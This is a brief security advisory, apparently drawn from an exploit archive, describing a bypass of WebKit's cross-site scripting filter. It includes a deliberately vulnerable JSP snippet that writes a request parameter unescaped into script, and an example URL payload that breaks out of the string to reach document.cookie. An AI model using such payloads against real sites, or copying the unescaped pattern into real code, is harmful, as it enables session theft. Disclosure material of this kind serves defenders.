WebKit Cross-Site Scripting Filter - Cross-Site ScriptingAuditor.cpp Security Bypass

source: https://www.securityfocus.com/bid/56570/info

WebKit is prone to a security-bypass vulnerability.

An attacker can exploit this vulnerability to bypass the cross-site scripting filter mechanism. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials. 

Code in test.jsp:

<title>Test Page</title>
<script>
var foo = "<%= request.getParameter("foo") %>";
document.write("<text>Welcome "+ foo + "</text>");
</script>

Example URI:

http://www.domain.com/test.jsp?foo=2"; alert(document.cookie); var a="1